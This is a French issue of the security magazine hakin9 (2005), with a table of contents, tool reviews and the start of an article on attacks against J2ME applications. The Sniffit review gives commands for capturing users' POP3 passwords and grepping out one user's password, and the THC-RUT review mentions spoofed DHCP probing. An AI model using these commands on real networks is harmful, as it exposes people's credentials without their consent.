hakin9 - 2005 - 2 [PDF]

Zitiervorschau

Bases 18 Attaques contre les applications Java 2 Micro Edition Tomasz Rybicki Rédacteur en chef : Piotr Sobolewski

Autour de hakin9

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otre magazine n'est pas seulement quatre-vingt feuilles de papier enfermées dans une couverture en couleurs. Ce qui est très important, ce sont les contacts avec les lecteurs – le site Web, le forum, le boutique en ligne, hakin9.live... Dans tous les numéros de hakin9, nous cherchons à vous faciliter l'accès au savoir et aux informations. Depuis longtemps, sur http://www.hakin9.org, vous pouvez trouver un article de chaque numéro en version électronique – grâce à cela, vous pouvez voir le magazine avant de l'acheter. Depuis quelque temps, nous avons décidé de mettre à votre disposition deux premières pages de chaque article. Comme ça, vous n'achetez pas chat en poche, et de plus, si un jour vous cherchiez des informations sur un sujet qui vous intéresse, vous pourrez facilement vérifier dans quel numéro du magazine il était présenté et qu'il est celui ce dont vous aurez besoin. Depuis quelque temps, vous pouvez acheter hakin9 au format PDF, autant les numéros spécifiques que la collection entière. Cela est important surtout pour nos lecteurs hors de l'Europe (il y en a, même de la Malaisie – salutations !). De plus, nous sommes en train d'organiser la vente des articles spécifiques sous forme électronique. Les versions française et allemande sont les premières, mais les autres versions vont suivre – visitez régulièrement nos sites Web. Ce seront surtout les abonnés à hakin9 qui en profiteront. À partir de ce numéro, chaque personne qui s'abonnera à notre magazine (ou prolongera l'abonnement en cours), obtiendra un CD contenant les archives complètes de hakin9. Je parle beaucoup de notre site Web, mais je dois encore mentionner un petit détail – nous avons publié un sondage qui montre quels articles du numéro courant vous plaisent le plus. Cela nous permettra de mieux cibler le marché, et vous – nos lecteurs – obtiendrez un magazine de mieux en mieux. Soyez les bienvenues sur notre site– visitez-nous, votez et aidez-nous à améliorer hakin9.

Piotr Sobolewski [email protected]

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Java 2 Micro Edition, utilisé principalement dans les périphériques portables, est considéré comme un environnement de programmation assez sûr. Pourtant, il existe des façons de s'attaquer aux applications mobiles. Ces attaques se basent surtout sur la négligence des programmeurs et distributeurs des applications. Analysons les scénarios possibles des attaques contre les mobiles utilisant cette version de Java.

Attaque 28 Rootkit personnel dans GNU/Linux Mariusz Burdach

La compromission réussie d'un système n'est que le début du travail de l'intrus. L'accès au compte du superutilisateur ne servira à rien, si l'administrateur détecte que l'intégrité du système a été violée. L'étape suivante du travail du pirate consiste à effacer les traces de son passage à l'aide d'un rootkit, de façon à pouvoir profiter ultérieurement de la machine-victime. Essayons donc de créer un simple rootkit pour les systèmes Linux responsable de la dissimulation des fichiers, répertoires et processus portant un préfixe donné.

34 Menaces liées à l'application de l’algorithme MD5 Philipp Schwaha, Rene Heinzl

MD5 est sans doute la fonction de hachage la plus courante – elle est utilisée tant dans les sommes de contrôles simples que dans les fichiers DRM (Digital Rights Management). Bien qu'il soit quasi impossible de découvrir une faille de sécurité dans MD5, des savants chinois en ont trouvé une. Analysons les menaces dues à cette faille.

AVERTISSEMENT Les techniques présentées dans les articles ne peuvent être utilisées qu'au sein des réseaux internes. La rédaction du magazine n'est pas responsable de l'utilisation incorrecte des techniques présentées. L'utilisation des techniques présentées peut provoquer la perte des données !

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Défense 46 SYSLOG Kernel Tunnel – protection des journaux système Michał Piotrowski

Si l'intrus prend le contrôle des journaux système, nous ne serons pas capables de reconstituer ses actions. Les solutions utilisées à présent n'assurent pas de niveau de sécurité satisfaisante. Le projet SYSLOG Kernel Tunnel vise à combler cette lacune par la création d'un mécanisme envoyant, en toute sécurité, les journaux à un système distant, et étant en même temps difficile à détecter ou désactiver.

56 Reverse engineering – analyse dynamique du code exécutable ELF Marek Janiczek

L'analyse dynamique du code exécutable ELF donne plus de possibilités que l'analyse statique – elle permet d'influencer le fonctionnement d'un programme étudié. Elle n'est pas trop difficile à effectuer, mais exige un environnement séparé. Nous analyserons le programme suspect kstatd, retrouvé dans un système compromis. Outre la description des techniques et des outils nécessaires pour l'analyse, nous présenterons les problèmes classiques qui peuvent avoir lieu lors des examens.

est publié par Software-Wydawnictwo Sp. z o.o. Adresse pour correspondance : Software-Wydawnictwo Sp. z o.o., ul. Lewartowskiego 6, 00-190 Varsovie, Pologne Tél. +48 22 860 18 81, Fax. +48 22 860 17 70 www.hakin9.org [email protected] Production : Marta Kurpiewska [email protected] Distribution : Monika Godlewska [email protected] Rédacteur en chef : Piotr Sobolewski [email protected] Rédacteur : Roman Polesek [email protected] Rédactrice adjointe : Paulina Nowak [email protected] Secrétaire de rédaction : Tomasz Nidecki [email protected] Composition : Anna Osiecka [email protected] Projet de couverture : Agnieszka Marchocka Publicité : [email protected] Abonnement : [email protected] Traduction : Grażyna Wełna, Iwona Czarnota Correction : Jérémie Fromaget, Jean-François K@sparov, Gabriel Campana, Gilles Gaffet, Sebastien Lecocq Les personnes intéressées par la coopération sont priées de nous contacter : [email protected] Impression : 101 Studio, Firma Tęgi Distribué par : MLP Parc d’activités de Chesnes, 55 bd de la Noirée - BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX

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70 Quelques méthodes simples pour détecter les débogueurs et l'environnement VMware Mariusz Burdach

L'analyse du code exécutable ELF peut être compliquée – les programmeurs essaient de concevoir les applications de façon à rendre impossible de tracer leur fonctionnement. Les auteurs des programmes tentent aussi de bloquer le fonctionnement de ces œuvres dans les environnements virtuels de type VMware. Voyons comment le faire.

06 Sur le CD 76 Dans le prochain numéro

Outils 08 10 12 14 16 17

Knock THC-RUT SamSpade for Windows h9.DiskShreder IPTraf Sniffit

La rédaction a fait tout son possible pour s’assurer que les logiciels et les informations publiées par écrit et sur les autres supports sont à jour et corrects, pourtant elle ne prend pas la responsabilité pour l’utilisation de toute information et de tout logiciel. Tous les logos et marques déposés reproduits dans cette publication sont la propriété de leurs propriétaires respectifs. Ils ont été utilisés uniquement dans un but informatif. La rédaction ne fournit pas de support technique direct lié à l’installation et l’utilisation des logiciels enregistrés sur le CD-ROM distribué avec le magazine.

Avertissement !

La vente des numéros courants ou anciens de notre magazine à un prix différent – sans l’accord de l’éditeur – est nuisible pour la revue et impliquera une responsabilité pénale. La rédaction utilise le système PAO Pour créer les diagrammes on a utilisé le programme Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o. hakin9 est publié dans les suivantes versions nationales : allemande (Allemagne, Suisse, Autriche, Luxembourg), française (France, Canada, Belgique, Maroc), espagnole (Espagne, Portugal, Argentine, Mexique), italienne (Italie), tchèque (République Tcheque, Slovakie), polonaise (Pologne), anglaise (États-Unis, Canada).

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hakin9.live

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Sur le CD

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e CD joint au magazine contient hakin9.live – une version bootable de Linux avec des outils liés au hacking et à la sécurité des systèmes informati-

ques. Pour commencer à travailler avec hakin9.live, il suffit de démarrer l'ordinateur sur le CD. Les options supplémentaires liées au démarrage du CD (choix de la langue, résolution, désactivation de framebuffer, etc.) sont présentées dans la documentation disponible sur le CD – le fichier index.html.

À présent, le gestionnaire de fenêtres par défaut est fluxbox avec certaines modifications. Il a un aspect agréable, ses exigences matérielles sont assez modestes, ce qui est bien pour les ordinateurs pas trop puissants – et selon certains, il est plus l33t. En même temps, il est possible de lancer l'environnement graphique très convivial xfce4 en version 4.2rc3.

Tutoriaux et documentation

Dans la nouvelle édition, nous avons changé le système de base. La version 2.4 h9l est basée sur Aurox Live 10.1. Le système fonctionne sous le contrôle du noyau 2.6.7, la détection des périphériques et la configuration du réseau ont été améliorées. Nous avons aussi uniformisé les menu – tous les programmes ont été divisés en catégories. Grâce à cette solution, l'accès aux applications est plus intuitif. Mais la nouveauté la plus importante – vous le demandiez depuis quelque temps – est la possibilité d'installer hakin9.live sur le disque dur. L'opération est très facile – il suffit, dans le terminal, de lancer le programme h9_install (les détails sont dans le fichier index.html). Dans la version actuelle de hakin9.live de nouveaux programmes ont été joints :

La documentation comprend aussi, outre les conseils d'utilisation et de gestion de hakin9.live, les tutoriaux avec les exercices pratiques préparés par la rédaction du magazine. Les tutoriaux sont conçus pour être utilisés sur hakin9.live. Grâce à cette solution, vous évitez tous les problèmes relatifs aux différentes versions des compilateurs, à la localisation des fichiers de configuration ou autres options nécessaires pour démarrer le programme dans un environnement donné. Outre les tutoriaux du numéro précédent, la version actuelle de hakin9.live en contient deux nouveaux. Le premier présente comment effectuer une analyse dynamique d'un fichier ELF suspect à l'aide du reverse engineering. Nous allons apprendre comment, sous contrôle, lancer le programme et, pas à pas, analyser son fonctionnement. Le deuxième tutorial concerne la protection des journaux système dans Linux. Ce document présente la mise en œuvre du projet SYSLOG Kernel Tunnel, décrit dans l'article de Michał Piotrowski. n

Figure 1. hakin9.live – tous les outils nécessaires sur un CD

Figure 2. Nouvel aspect, nouveau menu

Quoi de neuf

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Bandwidth Management Tools – un outil très puissant servant à surveiller et gérer la bande passante, Wellenreiter – le scanneur/sniffeur graphique (GTK) des réseaux sans fil, de nouveaux jeux pour console, très utiles dans les moments de repos, un kit d'outils nécessaires pour le reverse engineering sous Linux.

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Knock

Outils

Système : Linux, UNIX Licence : GPL But : permettre les connexions SSH avec les serveurs qui appliquent une politique de sécurité restrictive Page d'accueil : http://www.zeroflux.org/knock/ Knock est un outil fonctionnant en architecture client-serveur permettant de profiter en toute sécurité des connexions SSH dans les cas où l'accès à ce service est indésirable.

Démarrage rapide : Un pare-feu tournant sous Linux que nous administrons applique une politique de sécurité très restrictive. Bien que le démon sshd fonctionne, notre pare-feu ne permet pas d'utiliser le service SSH : iptables rejette toute tentative de connexion sur le port 22. Pourtant l'administrateur doit avoir la possibilité d'ouvrir une session distante sur une telle machine pour, par exemple, mettre à jour des programmes. Comment le faire et ne pas réduire le niveau de sécurité du pare-feu ? C'est le paquet knock qui vient nous aider. Il exploite le mécanisme ressemblant à une frappe à la porte – il ouvre le port 22 (SSH) pour l'adresse IP à partir de laquelle arrivera la séquence déterminée de paquets TCP. Pour que le programme fonctionne correctement, le pare-feu linuxien iptables est nécessaire. Après l'installation du démon du service (knockd) sur le serveur, il faut procéder à sa configuration ; le fichier de configuration par défaut est /etc/knockd.conf. La première option de ce fichier est le champ options – là, nous pouvons définir par exemple un fichier journal (log) ou forcer le programme à utiliser le démon syslogd. De plus, nous pouvons déterminer le temps dans lequel le client doit envoyer la séquence de paquets (option Seq _ Timeout), la commande d'exécution après la réception de certains paquets ou les drapeaux des fichiers TCP qui seront considérés comme corrects (option TCPFlags). Le deuxième champ (openSSH) détermine la séquence des ports (sequence) sur lesquels doivent arriver les paquets ouvrant l'accès au port SSH (par défaut 9000, 8000, 7000). Ensuite, nous pouvons définir les drapeaux TCP nécessaires pour les paquets et préciser la règle iptables ouvrant le port SSH pour l'adresse IP à partir de laquelle arrivera le jeu de paquets exigé. Le troisième champ (closeSSH) permet de définir la séquence des paquets TCP fermant la connexion, leurs drapeaux et de préciser la règle iptables qui verrouille la connexion avec le démon SSH. Après l'enregistrement du fichier de configuration, nous pouvons lancer knockd. Pour ce faire, nous tapons la commande :

possible de la modifier). Maintenant, il suffit de lancer sur une machine distante le programme-client (knock) : $ knock notre.pare-feu.com 9000 8000 7000

Cette commande enverra trois paquets (aux ports déterminés) à l'hôte notre.pare-feu.com. Pour vérifier le fonctionnement du démon, nous nous connectons au moyen du client SSH au port 22 de l'hôte notre.pare-feu.com. Pour bloquer de nouveau les connexions SSH, il faut, à l'aide du programme knock, envoyer la séquence de paquets de fermeture préalablement défini. Autres qualités : Bien que le démon knockd ne fonctionne que sous les système de la famille *NIX, les auteurs ont créé le client knock pour Windows. Dans le fichier de configuration, il est possible de définir la fermeture automatique du port SSH après un certain temps – c'est une option très utile pour ceux qui oublient parfois que la session SSH a été ouverte. Défauts : La configuration de knockd n'est pas intuitive. La documentation ne fournit pas la description détaillée de l'utilisation du client knock. La présence d'iptables est indispensable. Roman Polesek

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Elle démarre knockd en mode démon écoutant sur l'interface réseau eth0 (c'est une option par défaut – il est

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Figure 1. Schéma du fonctionnement du programme knock

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THC-RUT

Outils

Système : Unix Licence : free for any non-commercial use But : analyse des réseaux locaux Page d'accueil : http://www.thc.org/thc-rut THC-RUT est un outil servant à analyser les réseaux, surtout locaux.

Démarrage rapide : L'administrateur doit avoir des informations sur les ordinateurs fonctionnant dans le réseau. En général, il utilise le scan de type ping (par exemple à l'aide de Nmap) qui consiste à envoyer les paquets ICMP (Echo Request, Timestamp Request, Netmask Request) et TCP ACK, TCP SYN ou UDP. Mais cette solution a certains défauts. L'un des défauts est la rapidité du fonctionnement. Outre cela, les informations sur les utilisateurs qui bloquent certains types de paquets sont inaccessibles (p. ex. ICMP Echo Request). D'habitude, ce type de scan laisse des traces dans les journaux. Pour éviter ces problèmes, nous pouvons nous servir du programme THC-RUT. Il permet le scannage ARP (Address Resolution Protocol) d'une plage d'adresse déterminée. Le programme envoie à l'adresse physique de diffusion générale (en cas d'Ethernet c'est FF:FF:FF:FF:FF:FF) les requêtes ARP-Request concernant les adresses IP spécifi ques d'une plage d'adresses scannée. Si la machine en question fonctionne dans le réseau, nous obtiendrons la réponse sous forme de paquet ARP-Reply avec l'adresse MAC de cette station. Le scannage ARP est rapide, évite les blocages dressés par les utilisateurs et, en général, ne laisse pas de traces dans les journaux. Évidemment, nous ne pouvons le faire que sur un réseau local. La syntaxe de la commande se présente ainsi :

scan ICMP à l'aide des paquets de type Echo Request, Address Mask Request et MCAST Router Solicitation Request (option icmp). Cet outil peut s'avérer utile aussi pour les pirates car il permet d'envoyer des paquets DHCP-Request avec une fausse adresse MAC – bien sûr, dans le réseau, le serveur DHCP doit être présent. Pour cela, il faut lancer THC-RUT de la manière suivante : # thcrut dhcp

En résultat, nous pouvons connaître plusieurs détails concernant le réseau examiné : la classe d'adresses utilisée, le masque, l'adresse de diffusion générale, l'adresse IP du routeur, les adresses des serveurs DNS et le nom du domaine. Toutes ces informations entre les mains d'un pirate ingénieux peuvent être dangereuses pour la sécurité de notre réseau. Autres qualités : Le programme offre aussi la fonction de reconnaissance distante du système d'exploitation des ordinateurs spécifiques (fingerprinting) – c'est l'option discover qui y sert. Évidemment, la précision des tests exécutés est inférieure à celle offerte par Nmap, mais en revanche, le programme est plus rapide. Défauts : THC-RUT peut être un peu plus lent que Nmap pendant le scan de petits réseaux, mais dans le cas de grands réseaux LAN, il est beaucoup plus rapide. Michał Szymański

# thcrut [option] xx.xx.xx.xx-yy.yy.yy.yy

où xx.xx.xx.xx et yy.yy.yy.yy sont les adresses limites de la plage d'adresses IP qui nous intéresse. Admettons que nous voulons scanner à partir de l'ordinateur 10.10.10.193 une partie de notre réseau local, c'est-à-dire les adresses de la plage de 10.10.10.1 à 10.10.10.55. Pour cela, avec l'utilisateur root, il faut exécuter la commande suivante : # thcrut arp 10.10.10.1-10.10.10.55

En résultat, nous obtenons la liste des ordinateurs présents dans notre réseau avec les informations sur l'adresse IP, l'adresse MAC et le fabricant de la carte réseau. Ce ne sont pas toutes les possibilités offertes par THC-RUT. Outre la méthode ARP, il permet aussi le

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Figure 1. THC-RUT au boulot

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Sam Spade for Windows

Outils

Système : Windows Licence : Freeware But : Analyse des en-têtes du courrier électronique et recherche des informations Page d'accueil : http://www.samspade.org/ssw/ Sam Spade for Windows est une boîte à outils performante intégrant les outils comme whois, dig, traceroute, enrichie de fonctions d'analyse des en-têtes du courrier électronique, servant avant tout à rechercher les informations sur les expéditeurs et à préparer les rapports sur les abus.

Démarrage rapide : Nous avons reçu une lettre contenant une proposition alléchante de la part de M. Dr Prince Robinson. Dr Robinson nous informe qu'il partagera avec nous sa fortune si nous l'aidons à la récupérer. Nous obtenons une quantité de propositions de ce type et elles commencent à nous irriter – nous avons donc décidé d'en savoir plus sur l'imposteur et de porter plainte à notre FAI pour bloquer cette activité. Pour nous faciliter cette tâche et ne pas analyser manuellement les en-têtes de la lettre reçue (cf. l'article Tracer l'expéditeur d'un e-mail du hakin9 5/2004), nous allons utiliser le programme Sam Spade for Windows. Après avoir installé et configuré le programme (Edit -> Options – il faut, avant tout, indiquer le serveur DNS utilisé), nous copions les en-têtes complets de notre programme de courrier et nous utilisons l'option Edit -> Paste dans le programme Sam Spade. L'outil analysera automatiquement les en-têtes et indiquera les plus importants. Au-dessous de l'un des en-têtes analysés, nous voyons un commentaire ajouté automatiquement par Sam Spade : poczta.software.com.pl received this from someone claiming to be rndf-143-22.telkomadsl.co.za. Dans l'en-tête, nous remarquons aussi l'adresse IP : 165.165.143.22. Nous cliquons sur cette adresse avec

Figure 1. L'analyse de la lettre de Dr Prince Robinson dans le programme Sam Spade for Windows

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le bouton droit de la souris et sélectionnons l'option Copy to clipboard, et ensuite, nous la collons dans le champ disponible dans le coin supérieur gauche du programme. Ensuite, nous cliquons sur le symbole de la flèche à côté de ce champ. Sam Spade télécharge le bloc d'informations à partir du serveur whois. Dans ce bloc, nous trouvons la notation suivante : Please contact [email protected] for abuse queries. Lors de l'analyse des en-têtes Sam Spade ouvrira une boîte de dialogue permettant d'envoyer la lettre à l'adresse appropriée. Elle comprend (dans le contenu de la lettre) les en-têtes que nous avons analysés. Le sujet de l'e-mail commence par la sigle UBE qui signifi e Unsolicited Bulk E-mail (le terme définissant le spam). Maintenant, il suffi t de copier l'adresse de l'abuse trouvée et nous pouvons immédiatement (à moins que nous ayons déterminé dans les options de Sam Spade l'adresse de notre serveur de messagerie) envoyer le rapport. Autres qualités : • Le programme offre un mécanisme qui vérifie si le serveur de messagerie permet le relayage (cf. l'article Comprendre l'envoi des spams du hakin9 2/2004). • L'outil traceroute intégré dans Sam Spade offre la présentation graphique de la trace du paquet et des retards dans les nœuds spécifiques du réseau. Défauts : La gestion du programme n'est pas toujours intuitive. Bien que Sam Spade contienne les mécanismes de recherche, par exemple, du serveur whois approprié pour une plage IP, les requêtes sont parfois adressées aux serveurs inadéquats. L'utilisateur doit donc choisir le serveur manuellement. Le programme n'est pas actualisé depuis plusieurs années et certaines options, p. ex. le téléchargement des informations à partir des archives de groupes de discussion ou la vérification d'IP sur les serveurs RBL (cf. l'article Protection contre le spam sur le serveur du hakin9 2/2004), ne fonctionneront pas. Tomasz Nidecki

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h9.DiskShredder

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Système : indépendant du système d'exploitation, le programme est lancé à partir d'un CD ou une disquette Licence : commerciale But : nettoyage sûr des disques durs Page d'accueil : http://www.haking.pl/fr/index.php?page=programs Le premier programme de série h9 créée par l'équipe hakin9.lab – il sert à supprimer le contenu d'un disque dur par le remplacement multiple des données.

Démarrage rapide : Admettons que nous soyons administrateurs dans une grande entreprise qui dans l'une de ses filiales veut remplacer les vieux ordinateurs. Les vieux ordinateurs seront offerts aux écoles à la campagne. Mais certains ordinateurs contiennent des données confidentielles qui ne doivent pas sortir de l'entreprise. Nous devons les supprimer d'une façon sûre et efficace. Nous pouvons : • •

•

confier les disques à une société spéciale, nettoyer les disques à l'aide d'un programme approprié qui permet le remplacement multiple des données, laisser les disques dans l'entreprise et les détruire physiquement.

En ce qui concerne l'infaillibilité, les deux premières solutions sont équivalentes. La première permet à l'administrateur de gagner du temps, mais elle est chère et de plus, les disques avec les données sont fournis à un tiers. La solution la plus efficace est la troisième. Mais le plus raisonnable est d'en arriver à un compromis – nous gardons les disques avec les données les plus confidentielles et nettoyons les autres à l'aide d'un programme spécialement conçu à cet effet, par exemple h9.DiskShredder. Remplacer dix fois les données sur les disques par des données aléatoires semble une stratégie

raisonnable, mais au cas où la sécurité des données est importante, il est recommandé de répéter cette opération au moins trente fois. Avant d'utiliser le programme h9.DiskShredder il faut créer une disquette de démarrage (ou un CD – il suffit d'enregistrer le fichier comme image ISO) avec le programme. L'image de la disquette est enregistrée dans le fichier diskshredder.img. Dans le système DOS, nous pouvons créer la disquette au moyen du programme rawrite.exe : rawrite diskshredder.img

Dans le cas de Linux, il est nécessaire d'utiliser le programme dd : $ dd if=diskshredder.img of=/dev/fd0,

Ensuite, nous lançons les ordinateurs avec les disques à nettoyer à partir des disquettes préparées. Après l'insertion de la disquette, la liste contenant toutes les partitions et disques détectés s'affiche. Nous sélectionnons dans la liste les disques (ou partitions) à effacer. Pour chaque disque sélectionné, il est nécessaire de choisir la méthode de suppression des données. Maintenant, il suffit d'activer la suppression et d'attendre la fin de l'opération. En fonction de la méthode de suppression, de la taille et de la vitesse des disques, cela peut durer de quelques heures jusqu'à quelques dizaines d'heures. Une fois la suppression terminée, le programme affi che les rapports sur le résultat de l'opération et les erreurs éventuelles qui sont enregistrés sur la disquette dans le fi chier shredder.rep. Le rapport contient les informations sur le disque effacé (p. ex. son type, numéro de série, volume), la méthode de suppression et le nombre d'erreurs produites lors de la suppression (les informations détaillées sont enregistrées dans le fi chier shredder.err). Jacek Sokulski

Figure 1. Écran de démarrage su programme h9.DiskShredder 1.0

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IPTraf

Outils

Système : Linux Licence : GPL But : outil de monitoring réseau Page d'accueil : http://cebu.mozcom.com/riker/iptraf/ IPTraf est un logiciel de monitoring réseau avancé basé sur l'interface ncurses.

Démarrage rapide : Imaginons que nous soyons administrateur d'un petit réseau à bande passante limitée. Nous observons des problèmes avec le débit de la bande download. Nous soupçonnons alors que l'un des utilisateurs – probablement par le biais de P2P – sature la ligne aux autres utilisateurs. Mais aucun utilisateur ne veut reconnaître sa responsabilité. Il faut donc identifier le responsable et, éventuellement, lui bloquer l'accès au réseau d'échange de fichiers. Pour ce faire, nous avons besoin d'un outil – un sniffeur de paquets – surveillant tout le trafic passant par le serveur et ses interfaces réseau qui informent sur les adresses IP sources et cibles et les ports utilisés. IPTraf est justement ce que nous cherchons. Son interface est basée sur la bibliothèque ncurses – elle est conviviale et assez intuitive. On admet que le serveur a deux interfaces réseau : eth0 du côté local et eth1 du côté Internet. Ce qui nous intéresse pendant notre enquête, c'est l'interface en charge de la communication avec le réseau LAN – nous allons suivre le trafic arrivant à l'un des ordinateurs derrière le masquage d'adresse. Cet outil est disponible par défaut dans la plupart des distributions Linux – nous lançons le programme (en tant que root) avec la commande iptraf. À partir des options disponibles dans le menu, nous sélectionnons la première option – IP traffi c monitor, et forçons le programme à surveiller le trafi c sur l'interface eth0. Ce mode surveille les paquets entrants et sortants sur notre serveur. Il permet aussi d'affi cher toutes les connexions établies : l'adresse IP source et cible et l'adresse mail. Outre ces informations,

il présente aussi les statistiques de la quantité de données transférées – en paquets TCP et en octets. Sans doute, serons-nous très intéressés par les connexions qui génèrent le plus grand trafi c. Pour nous faciliter cette tâche, nous pouvons les trier suivant la taille du transfert (touche s). Ainsi, nous retrouverons sans problèmes l'adresse IP locale qui génère le trafi c le plus important. Si l'adresse n'est pas suffisante, dans le menu Confi guration..., nous pouvons forcer le programme à affi cher les adresses MAC des interfaces réseau. C'est à l'administrateur de déterminer quel réseau P2P est utilisé par l'utilisateur gourmand en ressources – l'analyse des connexions aux ports peut s'avérer ici très utile. IPTraf permet, bien sûr, d'enregistrer les données collectées – nous pourrons ainsi présenter à l'intéressé les preuves de son activité préjudiciable au réseau. Par défaut, toutes les informations enregistrées par le programme sont sauvegardées dans le fichier /var/log/ iptraf/iptraf.log. Autres qualités : Le programme est très avancé. Il permet de créer des propres filtres (c'est-à-dire enregistrer le trafi c dans les intervalles d'adresses IP déterminées ou sur les ports donnés), surveiller les types de paquets et de protocoles voulus (TCP, UDP, et même non-IP). Il permet aussi de définir les hôtes à analyser et d'affecter les noms symboliques aux noms des ports et à leurs intervalles – cela peut être utile pour démasquer les utilisateurs qui abusent de la bande passante. Bien qu'IPTraf travaille par défaut en mode interactif, il est possible de lui passer les commandes dans la ligne de commande. Cela est utile lorsqu'on utilise le programme en tant que démon enregistrant le trafi c qui nous intéresse. Défauts : Le programme est considéré par son auteur comme complet et depuis 2002 n'est plus développé. Il est donc peu probable qu'une nouvelle version sera publiée. Il ne travaille que sous Linux. Roman Polesek

Figure 1. Monitoring du trafic réseau

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Sniffit Système : Linux, SunOS, Solaris, FreeBSD, IRIX Licence : GPL But : sniffing de paquets Page d'accueil : http://reptile.rug.ac.be/~coder/sniffit/ sniffit.html Sniffit est un simple sniffeur de paquets, fonctionnant autant en mode batch qu'en mode interactif. Démarrage rapide : Admettons que nous soyons administrateur d'un serveur de messagerie d'un petit réseau du quartier auquel nous voulons introduire une nouvelle fonctionnalité : la possibilité d'utiliser le protocole APOP et l'autorisation CRAM-MD5. Néanmoins, pour ces deux mécanismes, il est nécessaire que les mots de passe soient stockés sous forme ouverte. Le serveur a déjà quelques centaines d'utilisateurs, mais leurs mots de passe ne sont pas enregistrés car ils sont sauvegardés en tant que sommes de contrôle dans le fichier /etc/shadow. Pour résoudre ce problème, nous pouvons utiliser un sniffeur afin d'intercepter les mots de passe des utilisateurs pendant qu'ils établissent les sessions POP3. Nous avons besoin d'un outil qui enregistrera les mots de passe sous forme de fichiers lisibles (pour que leur transfert dans les fichiers de configuration du serveur de messagerie ne nous pose pas de problèmes). C'est pourquoi, nous renoncerons aux outils de type tcpdump au profit du logiciel Sniffit. Nous devons sélectionner les paramètres de travail appropriés de Sniffit. Attendu que nous allons écouter les mots de passe POP3, nous choisissons le protocole TCP à l'aide de l'option -P TCP. Ce qui nous intéresse, c'est le trafic à destination du port 110, c'est pourquoi l'option suivante sera utilisée : -p 110. De plus nous voulons enregistrer les connexions du réseau local, pour ce faire nous choisissons l'interface employée pour les connexions par les utilisateurs locaux (p.ex. eth0) : -F eth0. Puisque nous n'avons pas besoin d'enregistrer les mots de passe des utilisateurs exploitant les serveurs de messagerie externes, nous choisissons l'IP cible de notre serveur de messagerie : -t 192.168.1.1.

Sniffit est donc lancé de la façon suivante : # sniffit -P TCP -p 110 -F eth0 -t192.168.1.1

Nous obtenons un message indiquant que le programme fonctionne. Mais le résultat ne sera pas affiché sur l'écran car Sniffit enregistre les données interceptées dans les fichiers. Essayons de vérifier notre courrier sur le serveur, ensuite d'interrompre le fonctionnement du programme, et consulter le résultat. Après l'interruption du fonctionnement de Sniffit, le répertoire dans lequel le programme a été lancé contient les fichiers avec les sessions POP3. Les noms des fichiers ont la forme IPsource.port-IPcible.port, par exemple : 192.168.1.3.1498-192.168.1.1.110. Consultons le contenu de l'un des fichiers : # cat 192.168.1.3.1498-192.168.1.1.110 USER admin PASS mon_mot_de_passe STAT QUIT

Comme vous le constatez, le fichier présente une session POP3 sous forme lisible, contenant le nom et le mot de passe. Maintenant nous sommes sûrs que Sniffit nous fournira des informations exploitables, nous pouvons donc le lancer en nous servant de l'outil screen ou nohup, en tâche de fond : # nohup sniffit -P TCP -p 110 -F eth0 -t192.168.1.1&

et ensuite, vérifier les résultats quelques heures plus tard. Le répertoire contenant beaucoup de fichiers, nous pouvons utiliser l'outil grep ensemble avec head pour retrouver les informations qui nous intéressent. Nous utiliserons l'option grep : avec les options suivantes : -A 1 écrit une ligne suivante après la ligne retrouvée, -h – le nom du fichier ne sera pas donné. Si nous utiliserons le filtrage par head avec l'option -n 2, seulement deux lignes du premier fichier trouvé seront écrites sur la console (le nom et le mot de passe peuvent se répéter dans plusieurs fichiers). Ainsi, pour intercepter le mot de passe de l'utilisateur luser, il suffit de taper : # grep -A 1 -h "USER luser" * | head -n 2 USER luser PASS mot_de_passe_de_luser

Figure 1. Sniffit travaillant en mode interactif

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Autres qualités : Sniffit peut être utilisé en mode interactif et utiliser son propre fichier de configuration. Défauts : L'outil n'est pas mis à jour depuis quelques années. Bien qu'il reste toujours très efficace, nous ne pouvons espérer une nouvelle version. Tomasz Nidecki

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Attaques contre les applications Java 2 Micro Edition

Tomasz Rybicki

Java 2 Micro Edition, utilisé notamment dans les périphériques mobiles, est considéré comme un environnement de développement relativement sûr. Pourtant, il existe des moyens permettant d'attaquer les applications pour mobiles. Ceux-ci profitent, en grande partie, de l'insouciance ou du manque d'attention de la part des développeurs et des distributeurs d'applications.

Bases

J

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2ME (Java 2 Micro Edition de la société Sun Microsystems) gagne de plus en plus en popularité. Pratiquement tous les fabricants des téléphones mobiles offrent des outils permettant le téléchargement, l'installation et le démarrage des applications écrites en cette version de Java – cela concerne, entre autres, les jeux et les utilitaires simples. La présence de J2ME dans les périphériques de type PDA (en anglais Portable Digital Assistant) n'a rien de nouveau. Les développeurs créent donc des applications de plus en plus sophistiquées ayant pour but de traiter des quantités de données de plus en plus importantes (comme la gestion électronique des comptes bancaires). Tout cela fait que la question de sécurité des applications J2ME devient un problème important. Examinons de près les scénarios possibles des attaques contre les périphériques portables utilisant cette version de Java. N'oubliez pas que les méthodes présentées profi tent, en grande partie, de la négligence humaine – aussi bien de la part des développeurs que des utilisateurs. L'environnement de développement lui-même a été bien conçu.

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Scénario n° 1 – se faire passer pour le MIDlet L'installation de la plupart des applications dans les périphériques mobiles nécessite leur téléchargement préalable depuis Internet. Mais comment l'utilisateur sait quelle application il est en train de télécharger ? Il est peut-être possible de le persuader de télécharger un virus sur son périphérique ? Voici la méthode permettant de tromper l'utilisateur pour qu'il télécharge et installe

Cet article explique... • •

•

comment réaliser des attaques contre les applications écrites en Java 2 Micro Edition, comment réaliser des attaques contre les périphériques mobiles au standard de sécurisation MIDP, comment sécuriser vos propres applications écrites en J2ME.

Ce qu'il faut savoir... • •

connaître les principes de programmation en Java, savoir ce qu'est SSL (Secure Socket Layer).

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Attaques contre les applications J2ME

Fichier de descripteur de l'application

La vocation du fichier du descripteur est de décrire un MIDlet lui correspondant. C'est un fichier texte comprenant la liste des attributs (des traits caractéristiques) du MIDlet. Certains attributs sont obligatoires et les autres facultatifs. Bien sûr, chacun développeur peut créer ses propres attributs. Les attributs décrits dans le fichier de descripteur doivent être également enregistrés dans le fichier de manifeste étant un élément composant de l'archive .jar (en règle générale, le manifeste est une copie fidèle du descripteur sauf MIDlet-JarSize et les attribtuts liés à la certification des applications). Lors de l'installation d'une application téléchargée, les valeurs des attributs dans le fichier de manifeste et dans le fichier de descripteur sont mises en comparaison. S'il y a une incompatibilité entre elles, l'application est rejetée par JAM (Java Application Manager, gestionnaire des applications dans les périphériques mobiles). Voici les attributs obligatoires du descripteur des applications : MIDlet-Jar-Size: 37143

